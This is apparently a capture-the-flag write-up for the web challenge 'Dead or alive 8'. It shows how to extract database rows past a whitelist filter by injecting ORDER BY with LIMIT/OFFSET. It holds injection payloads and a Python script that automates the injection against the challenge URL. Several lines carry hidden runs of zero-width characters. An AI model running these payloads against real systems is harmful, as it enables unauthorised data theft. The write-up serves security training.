← Back to Writeups
CUSTOMMediumWeb

Dead or alive 8

XESXOR9/10/20262 min read
#web#custom#medium#blind_sqli#limit_offset_extraction#order_by_enumeration

Dead or alive 8

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: blind_sqli, limit_offset_extraction, order_by_enumeration

Summary

SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

Dead or alive 8 — Web Kids 2.0

Description

SQL injection bypass task. Strict whitelist filter allowing only specific characters and patterns.

URL: http://kslweb1.spb.ctf.su/sqli/bypass8/

Analysis

Eighth task in the SQL injection bypass series. Unlike previous tasks with blacklist filters, this one uses a whitelist — only specific constructs are allowed.

Key observations:

  • SELECT, UNION and other standard keywords are blocked
  • ORDER BY is allowed (used for sorting results)
  • LIMIT and OFFSET are allowed
  • Numbers are allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This allows using the row enumeration technique via ORDER BY + LIMIT + OFFSET.

Solution

ORDER BY + LIMIT OFFSET enumeration principle

When UNION/SELECT are blocked but ORDER BY and LIMIT are available, you can:

  1. Use ORDER BY to sort by the desired column
  2. Use LIMIT 1 OFFSET N to get the N-th row
  3. Iterate OFFSET from 0 to the number of rows

Basic payload

' ORDER BY 1 LIMIT 1 OFFSET 0--
' ORDER BY 1 LIMIT 1 OFFSET 1--
' ORDER BY 1 LIMIT 1 OFFSET 2--
...

Automation

python
#!/usr/bin/env python3
import requests
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

url = "http://kslweb1.spb.ctf.su/sqli/bypass8/"

for offset in range(100):
    payload = f"' ORDER BY 1 LIMIT 1 OFFSET {offset}--"
    r = requests.get(url, params={"id": payload})
    
    if "spbctf" in r.text:
        print(f"[+] Found at offset {offset}")
        print(r.text)
        break
    
    # Check if there's data
    if "No results" in r.text or len(r.text) < 100:
        print(f"[-] No more data at offset {offset}")
        break
    
    print(f"[{offset}] {r.text[:100]}...")

Alternative techniques

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

If character-by-character extraction is needed (blind):

  • Use ORDER BY with a condition for binary search
  • Combine with CASE WHEN if allowed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍